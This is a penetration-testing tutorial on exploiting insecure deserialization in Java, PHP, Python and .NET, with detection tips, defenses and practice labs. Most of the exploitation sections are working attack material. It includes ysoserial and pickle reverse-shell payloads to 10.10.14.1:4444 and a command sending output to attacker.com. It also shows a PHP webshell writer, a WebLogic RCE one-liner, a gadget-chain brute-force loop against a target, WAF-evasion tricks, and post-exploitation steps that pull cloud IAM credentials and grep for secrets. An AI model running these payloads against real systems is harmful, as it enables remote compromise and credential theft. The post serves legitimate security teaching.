Insecure deserialization has handed attackers RCE in some of the most hardened enterprise environments on the planet — Apache, Jenkins, JBoss, WebLogic, Oracle, and more. A single malformed object can bypass authentication, execute arbitrary code, or delete your entire database. This guide covers detection, exploitation, gadget chains, and WAF bypass for Java, PHP, Python, and .NET in 2026.

What Is Deserialization?

Serialization converts an object in memory into a format that can be stored or transmitted — bytes, JSON, XML, binary. Deserialization reverses it: takes the stored format and reconstructs the object.

Applications use serialization everywhere:

  • Session cookies
  • API request/response bodies
  • Message queues (Kafka, RabbitMQ)
  • Caches (Redis, Memcached)
  • Database stored objects
  • Inter-process communication

The problem: when an application deserializes data from an untrusted source without proper validation, an attacker can supply a crafted serialized object that triggers unintended behavior during reconstruction.

Why Insecure Deserialization Is So Dangerous

Classified as OWASP A08:2021 — Software and Data Integrity Failures, insecure deserialization is uniquely nasty because:

  • Pre-authentication in many cases — deserialization often happens before the application checks who you are
  • Execution during deserialization — code runs as the object is reconstructed, before any validation logic
  • Gadget chains — attackers don’t need custom code on the server; they chain together existing classes already loaded in the JVM/runtime
  • Wide attack surface — cookies, HTTP headers, request bodies, message queue payloads, RMI endpoints
  • High CVSS scores — most deserialization RCEs score 9.0+ (critical)

Notable exploited vulnerabilities:

  • Apache Commons Collections — the gadget chain that broke the internet in 2015
  • Java RMI/JNDI — basis for Log4Shell (CVE-2021-44228)
  • WebLogic — multiple critical CVEs across years (CVE-2019-2725, CVE-2020-14882, etc.)
  • Jenkins — CVE-2016-0792, Java deserialization via CLI
  • JBoss — CVE-2015-7501, remote code execution pre-auth

Detection

Step 1 — Identify Serialized Data

Java serialized objects start with aced 0005 in hex (base64: rO0AB):

# Raw bytes
AC ED 00 05

# Base64 encoded
rO0ABXNy...

# URL encoded
%AC%ED%00%05

Look for these in:

  • Cookies (JSESSIONID, custom session cookies)
  • POST body parameters
  • HTTP headers
  • ViewState parameters (Java Server Faces)

PHP serialized strings use a human-readable format:

O:8:"UserData":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}

Python pickle binary starts with \x80\x04 or older protocol bytes. Often base64-encoded in cookies or API fields.

.NET serialized objects may appear as:

  • Binary in SOAP/XML: AAEAAAD/////AQAAAAAAAAAMAgAAAF9...
  • ViewState: __VIEWSTATE parameter in ASP.NET forms
  • JSON.NET with $type property: {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",...}

Step 2 — Probe with Modified Objects

Once you identify a serialized object:

  1. Capture the request in Burp Suite
  2. Decode the serialized data (base64, URL-decode as needed)
  3. Send to Burp Decoder/Repeater
  4. Modify values to test for deserialization without gadget chains first

Low-risk detection test: Change a string value and see if the response changes. If the server throws a deserialization error (stack trace, 500 error), deserialization is confirmed.

Burp Suite Extensions for detection:

  • Java Deserialization Scanner — detects Java deserialization sinks, tests multiple gadget chains
  • GadgetProbe — fingerprints which gadget libraries are available
  • Ysoserial integration plugins — automate payload generation

Step 3 — Use Automated Tools

# Java: use ysoserial to generate test payloads
java -jar ysoserial.jar CommonsCollections1 "nslookup your.burpcollaborator.net" > payload.ser

# Send it and watch for DNS callback

A DNS callback confirms blind deserialization RCE even when there’s no visible output.


Java Deserialization

Understanding Gadget Chains

Java deserialization exploits work by chaining together readObject(), hashCode(), equals(), compareTo(), and similar methods in existing library classes. These chains — gadget chains — eventually call Runtime.exec() or equivalent.

The prerequisite: the vulnerable class must be on the classpath. Common libraries that provide exploitable gadget chains:

LibraryGadgetNotes
Commons Collections 3.xCC1, CC2, CC3, CC4, CC5, CC6, CC7Most common; Apache Commons
Commons Collections 4.xCC2, CC4Different class hierarchy
Commons BeanUtilsCB1Works with CC3 not on classpath
Spring FrameworkSpring1, Spring2Spring-based applications
GroovyGroovy1Jenkins, Groovy-based apps
JRMPClientJRMPRMI deserialization, triggers JNDI lookup
HibernateHibernate1, Hibernate2ORM library
AspectJWeaverAsJWeaverArbitrary file write
Mozilla RhinoRhinoJS engine embedded in Java

ysoserial

ysoserial is the standard tool for Java deserialization payload generation.

# Download
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# List available payloads
java -jar ysoserial-all.jar

# Generate payload for command execution
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.ser
java -jar ysoserial-all.jar CommonsCollections6 "curl https://attacker.com/$(id|base64)" > payload.ser

# Reverse shell
java -jar ysoserial-all.jar CommonsCollections1 \
  "bash -c {bash,-i,>&,/dev/tcp/10.10.14.1/4444,0>&1}" > payload.ser

# Base64-encode for use in cookies/headers
java -jar ysoserial-all.jar CommonsCollections6 "id" | base64 -w 0 > payload.b64

# Send via curl
curl -b "session=$(cat payload.b64)" https://target.com/app

Don’t know which gadget chain to use? Try them all:

#!/bin/bash
CHAINS=("BeanShell1" "C3P0" "CB1" "Clojure" "CommonsBeanutils1" "CommonsCollections1" \
        "CommonsCollections2" "CommonsCollections3" "CommonsCollections4" \
        "CommonsCollections5" "CommonsCollections6" "CommonsCollections7" \
        "Groovy1" "Hibernate1" "Hibernate2" "JBossInterceptors1" \
        "JRMPClient" "JRMPListener" "JSON1" "JavassistWeld1" \
        "Jdk7u21" "Jython1" "MozillaRhino1" "MozillaRhino2" \
        "Myfaces1" "Myfaces2" "ROME" "Rome" "Spring1" "Spring2" \
        "URLDNS" "Vaadin1" "Wicket1")

for CHAIN in "${CHAINS[@]}"; do
  echo "[*] Testing $CHAIN"
  java -jar ysoserial-all.jar "$CHAIN" "nslookup ${CHAIN}.your.burp-collaborator.net" 2>/dev/null | \
    curl -s -X POST https://target.com/endpoint \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @- -o /dev/null -w "HTTP %{http_code}\n"
done

Watch Burp Collaborator for DNS hits — the chain that triggers tells you which library is available.

GadgetProbe

GadgetProbe fingerprints available classes without needing RCE:

# Generate probes for Burp Collaborator
java -jar GadgetProbe.jar commonsCollections3.1 \
  "your.burp-collaborator.net" > probes/

# Each probe triggers DNS if the target class is loaded
# Read results in Collaborator to identify available gadget chains

WebLogic Attack (CVE-2019-2725 / CVE-2020-14882)

WebLogic T3 protocol (default port 7001) is a favorite target. The T3 protocol deserializes objects by default.

# Check for WebLogic
curl -k https://target.com:7001/console
curl -k https://target.com:7001/_async/AsyncResponseService

# Exploit CVE-2019-2725 with ysoserial
python exploit_weblogic.py target.com 7001 "id"

# CVE-2020-14882 — authentication bypass + RCE
curl -k 'https://target.com:7001/console/images/%252E%252E%252Fconsole.portal' \
  -d "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\\"Runtime.getRuntime().exec('id');\\")"

Jenkins CLI Deserialization (CVE-2016-0792)

# Jenkins before 1.651.2 / 2.3
# CLI port: typically 50000 (JNLP) or via HTTP

java -jar ysoserial-all.jar Groovy1 "id" > payload.ser

# Use jenkins-cli to send
java -jar jenkins-cli.jar -s http://target.com/ who-am-i \
  --username '' --password '' \
  < payload.ser

Detecting Java Deserialization with Burp

  1. Install Java Deserialization Scanner extension (Burp BApp Store)
  2. Right-click any request in Burp → Extensions → Java Deserialization Scanner → Actively scan
  3. The scanner will fuzz serialized parameters with all common gadget chains and OOB callbacks
  4. Check Collaborator for DNS/HTTP callbacks

PHP Deserialization

PHP Object Injection

PHP’s unserialize() function is the sink. When user-controlled data reaches unserialize(), the attacker controls object reconstruction. PHP magic methods are invoked automatically during deserialization:

Magic MethodTriggered When
__wakeup()Object is deserialized
__destruct()Object is garbage collected
__toString()Object is used as a string
__call()Method called that doesn’t exist
__get()Accessing undefined property
__set()Setting undefined property
__isset()isset() called on undefined property

POP Chain Construction

POP (Property-Oriented Programming) chains link magic methods to reach dangerous sinks like eval(), system(), file_put_contents(), include(), etc.

Example vulnerable code:

<?php
class Logger {
    private $log_file;
    private $log_data;
    
    public function __destruct() {
        file_put_contents($this->log_file, $this->log_data);
    }
}

$data = base64_decode($_COOKIE['session']);
$obj = unserialize($data);

Exploit — write a webshell:

<?php
class Logger {
    private $log_file = '/var/www/html/shell.php';
    private $log_data = '<?php system($_GET["cmd"]); ?>';
}

$payload = serialize(new Logger());
echo base64_encode($payload);
// Output: O:6:"Logger":2:{...}
// Set as session cookie, trigger request, then visit /shell.php?cmd=id

PHPGGC — PHP Gadget Chain Generator

PHPGGC is the PHP equivalent of ysoserial — a library of pre-built POP chains for common frameworks.

# Install
git clone https://github.com/ambionics/phpggc

# List available chains
php phpggc -l

# List chains for a specific framework
php phpggc -l Laravel
php phpggc -l Symfony
php phpggc -l Guzzle
php phpggc -l Yii

# Generate payload
php phpggc Laravel/RCE1 system 'id'
php phpggc Symfony/RCE4 system 'id'

# Base64 output
php phpggc -b Laravel/RCE1 system 'id'

# URL-encoded output
php phpggc -u Laravel/RCE1 system 'id'

# Write webshell
php phpggc Laravel/RCE1 file_put_contents '/var/www/html/shell.php' '<?php system($_GET["cmd"]); ?>'

# JSON format
php phpggc -j Symfony/RCE4 system 'id'

Common framework chains:

FrameworkChainSink
LaravelLaravel/RCE1–9system(), eval()
SymfonySymfony/RCE1–7system(), file write
YiiYii/RCE1–2eval()
GuzzleGuzzle/RCE1SSRFable, then RCE
MonologMonolog/RCE1–8system(), exec()
Zend FrameworkZendFramework/RCE1system()
DoctrineDoctrine/RCE1SQL exec
CakePHPCakePHP/RCE1file write

PHP Type Juggling with Serialization

Beyond gadget chains, PHP’s loose comparison can cause auth bypasses:

// Vulnerable — MD5 hash comparison
if (unserialize($_COOKIE['auth'])['hash'] == md5($secret)) {
    // authenticated
}

In PHP, if md5() returns a hash starting with 0e (magic hash), it equals 0 numerically. Supply a serialized object where the hash value is 0 or 0e[digits] to bypass.

__wakeup() Bypass (CVE-2016-7124)

In PHP < 5.6.25 and < 7.0.10, if a serialized object declares more properties than defined, __wakeup() is skipped:

# Normal object with 1 property
O:4:"User":1:{s:4:"name";s:5:"admin";}

# Modified: declare 2 properties — __wakeup() is NOT called
O:4:"User":2:{s:4:"name";s:5:"admin";}

Useful when __wakeup() resets security-critical properties that __destruct() uses.


Python Deserialization (Pickle)

Python’s pickle module is the most dangerous deserialization mechanism — it executes arbitrary code by design. Any object that implements __reduce__ can run system commands when deserialized.

Exploit

import pickle
import os
import base64

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

# Generate payload
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload)

Reverse shell payload:

import pickle, os, base64

class Shell:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"',))

payload = base64.b64encode(pickle.dumps(Shell())).decode()
print(payload)

Send it:

# If it goes in a cookie
curl -b "session=$(python3 gen_payload.py)" https://target.com/dashboard

# If it goes in a POST parameter
curl -X POST https://target.com/api/data \
  -d "data=$(python3 gen_payload.py | python3 -c 'import sys; print(sys.stdin.read().strip())')"

Real-World Pickle Targets

  • Flask sessions using itsdangerous with pickle backend (misconfiguration)
  • Celery task queues when pickle is the serializer (was default before 4.0)
  • Redis cached objects when pickle is used for serialization
  • Scikit-learn / ML models — .pkl files from untrusted sources execute code on load
  • Joblib — parallel processing library using pickle

NumPy/PyTorch Deserialization

Python deserialization isn’t limited to pickle:

# PyTorch .pt/.pth files execute arbitrary code on load
import torch
model = torch.load('malicious_model.pt')  # RCE

# NumPy .npy / .npz with pickle objects
import numpy as np
arr = np.load('malicious.npy', allow_pickle=True)  # RCE

This is increasingly relevant for ML supply chain attacks — distributing malicious “model weights” that execute code on load.


.NET Deserialization

BinaryFormatter / SoapFormatter

BinaryFormatter and SoapFormatter are the classic .NET deserialization sinks. Both are marked obsolete in .NET 5+ due to security, but remain in legacy applications.

Dangerous classes:

  • ObjectDataProvider — invokes arbitrary methods on arbitrary objects
  • WindowsIdentity — triggers LDAP/Kerberos
  • ActivitySurrogateSelector — compiles and executes code
  • TypeConfuseDelegate — delegates to arbitrary methods

ysoserial.net

ysoserial.net is the .NET equivalent:

# List gadget chains
ysoserial.exe -l

# BinaryFormatter payload (e.g., ViewState)
ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "cmd /c whoami"

# JSON.NET with TypeNameHandling.All vulnerability
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"

# ViewState exploitation (ASP.NET WebForms)
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --validationalg="SHA1" \
  --validationkey="[MACHINEKEY]" \
  -c "cmd /c whoami"

# XML serialization
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelector -c "cmd /c whoami"

JSON.NET $type Exploitation

When JsonSerializerSettings.TypeNameHandling is set to All or Objects, attackers can specify arbitrary .NET types via the $type property:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values": ["cmd", "/c calc.exe"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
  }
}

ASP.NET ViewState Exploitation

ASP.NET WebForms use ViewState — a base64-encoded, optionally HMAC-signed blob stored in __VIEWSTATE. If you can obtain the machineKey (from leaked web.config, path traversal, etc.), you can forge a malicious ViewState payload.

# Once you have the machine key, generate malicious ViewState
ysoserial.exe -p ViewState \
  --validationalg="SHA1" \
  --validationkey="YOUR_MACHINE_KEY" \
  --viewstateuserkey="ASP.NET_SessionId_value" \
  -g TextFormattingRunProperties \
  -c "cmd /c powershell -e BASE64ENCODEDCOMMAND"

# Submit via POST parameter
# __VIEWSTATE=PAYLOAD&__VIEWSTATEGENERATOR=...

WAF Bypass Techniques

For Java

Randomize gadget chain selection: If one chain is blocked by signature, another chain may not be.

Encode the payload:

# Gzip + base64
java -jar ysoserial-all.jar CommonsCollections6 "id" | gzip | base64 -w 0

# If the app decompresses before deserializing, this bypasses content inspection

Use DNS-only payloads for detection (no command execution in WAF signatures):

java -jar ysoserial-all.jar URLDNS "http://your.collaborator.net" > payload.ser

Fragment across multiple requests when the WAF inspects individual payloads but not reassembled chunks (HTTP chunked encoding).

For PHP

Null byte injection in class names:

O:4:"User":1:{s:4:"\x00*\x00name";s:5:"admin";}

Custom __serialize() / __unserialize() methods (PHP 7.4+) may bypass filters targeting the old format.

Use string mangling to avoid detection:

$payload = str_replace('system', 'sys'.'tem', $base_payload);

For Python Pickle

import pickle, os

# Obfuscated payload using pickle opcodes directly
import pickletools

class RCE:
    def __reduce__(self):
        cmd = 'id'
        return eval, (f'__import__("os").popen("{cmd}").read()',)

payload = pickle.dumps(RCE())

Reconstruct payload byte-by-byte to evade content-inspection signatures.


Post-Exploitation

Once you have RCE via deserialization, standard post-exploitation applies — but be aware of the environment:

Container checks:

cat /proc/1/cgroup      # Check if in container
ls /.dockerenv          # Docker indicator
env | grep -i kube      # Kubernetes environment

Service account / IAM:

# AWS IMDS (if on EC2/ECS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

Pivot to application secrets:

find / -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "web.config" 2>/dev/null | head -20
grep -r "password\|secret\|key\|token" /etc/ /opt/ /app/ 2>/dev/null | grep -v Binary

JVM heap dump (Java — grab in-memory secrets):

jmap -dump:format=b,file=/tmp/heap.bin $(pgrep java)
# Transfer and analyze with Eclipse MAT or strings
strings /tmp/heap.bin | grep -i "password\|secret\|token"

Real-World CVEs

CVE-2015-4852 — Oracle WebLogic (Apache Commons)

The vulnerability that exposed the gadget chain problem to the world. WebLogic’s T3 protocol blindly deserialized objects, and with Apache Commons Collections 3.1 on the classpath, full RCE pre-authentication.

CVSS: 9.8. Affected: WebLogic Server 10.3.6, 12.1.2, 12.1.3, 12.2.1.

CVE-2017-5638 — Apache Struts (not deserialization, but gadget-chain style)

While technically a different vuln class, the Equifax breach (143M records) used a related concept: attacker-controlled input evaluated as code during object construction.

CVE-2021-44228 — Log4Shell

Log4j’s JNDI lookup chained Java deserialization through LDAP. A log message ${jndi:ldap://attacker.com/exploit} would trigger a deserialization payload fetch. One of the most exploited vulnerabilities in history.

CVSS: 10.0. Affected: Log4j 2.0-beta9 through 2.14.1.

CVE-2022-22965 — Spring4Shell

Spring Framework RCE via data binding — property manipulation allowing class loader access. Combined with Apache Tomcat, achieves RCE. CVSS: 9.8.

CVE-2023-46604 — Apache ActiveMQ

Java deserialization via OpenWire protocol (port 61616). Unauthenticated RCE. CVSS: 10.0. Actively exploited by ransomware groups including HelloKitty within 48 hours of disclosure.

# Check for exposed ActiveMQ
nmap -p 61616 target.com -sV

# PoC (DO NOT USE ON UNAUTHORIZED SYSTEMS)
# github.com/X1r0z/ActiveMQ-RCE

Practice Labs

  • TryHackMe — “Insecure Deserialization” room (Java and PHP)
  • Hack The Box — multiple machines use Java/PHP deserialization (Arkham - Java, Cereal - .NET)
  • PortSwigger Web Security Academy — dedicated deserialization labs covering PHP and Java with guided + unguided challenges (free)
  • DVJA (Damn Vulnerable Java Application) — run locally for Java deserialization practice
  • WebGoat — OWASP’s vulnerable training app, includes insecure deserialization module

Spin up a practice VPS to run these labs without polluting your main system. Keep exploit tooling isolated.

👉 Vultr VPS from $6/month — SSD instances deploy in 60 seconds, perfect for running WebGoat, DVJA, or intentionally vulnerable Docker stacks.


Defense: How to Actually Fix It

1. Don’t deserialize untrusted data

The only 100% reliable fix. If you control both ends of the serialization (internal caches, internal queues), use safer formats like JSON or MessagePack.

2. Use safe serialization libraries

LanguageAvoidUse Instead
JavaObjectInputStream directlyUse ObjectInputFilter, sign/encrypt payloads, or switch to JSON
PHPunserialize() on user inputjson_decode(), or validate + allowlist with allowed_classes
Pythonpickle on untrusted datajson, msgpack, or ast.literal_eval() for simple types
.NETBinaryFormatter, SoapFormatterSystem.Text.Json, XmlSerializer with restrictions

3. Java ObjectInputFilter (allowlist)

ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
    Class<?> clazz = info.serialClass();
    if (clazz == null) return ObjectInputFilter.Status.UNDECIDED;
    if (clazz == MyExpectedClass.class) return ObjectInputFilter.Status.ALLOWED;
    return ObjectInputFilter.Status.REJECTED;
});

4. PHP allowed_classes

// Only allow specific classes
$obj = unserialize($data, ['allowed_classes' => ['SafeClass', 'AnotherSafeClass']]);

// Block all class instantiation
$obj = unserialize($data, ['allowed_classes' => false]);

5. Cryptographic signing

Sign serialized data before storing/transmitting. Verify signature before deserializing. Prevents tampering but doesn’t fix the underlying risk if the key is compromised.

6. Monitor for known gadget chain indicators

Set up alerts for:

  • aced0005 (Java serialized magic bytes) in HTTP bodies/cookies
  • O: followed by class names in cookies (PHP serialized)
  • rO0AB (base64 Java serialized) in HTTP parameters
  • Known gadget class names in stack traces

Deserialization Cheatsheet

LanguageSinkDetectionToolCommon Gadget/Sink
JavaObjectInputStream.readObject()AC ED 00 05 / rO0ABysoserialCommonsCollections, Spring
PHPunserialize()O:N:"ClassName":...PHPGGCLaravel/RCE, Symfony/RCE
Pythonpickle.loads()\x80\x04\x95Manual__reduce__() → os.system
.NETBinaryFormatter.Deserialize()AAEAAAD / ViewStateysoserial.netObjectDataProvider
RubyMarshal.load()\x04\x08universal-deserializer-gadgetsUniversal gadget
Node.jsnode-serialize / serialize-javascript{"rce":"_$$ND_FUNC$$_function..."}ManualIIFE injection

What’s Next

Insecure deserialization sits in the larger web attack landscape:

All part of the Web Application Pentesting Series .


Need expert security content for your team or platform? CipherWrite delivers practitioner-written articles, technical guides, and security documentation that actually holds up to expert review.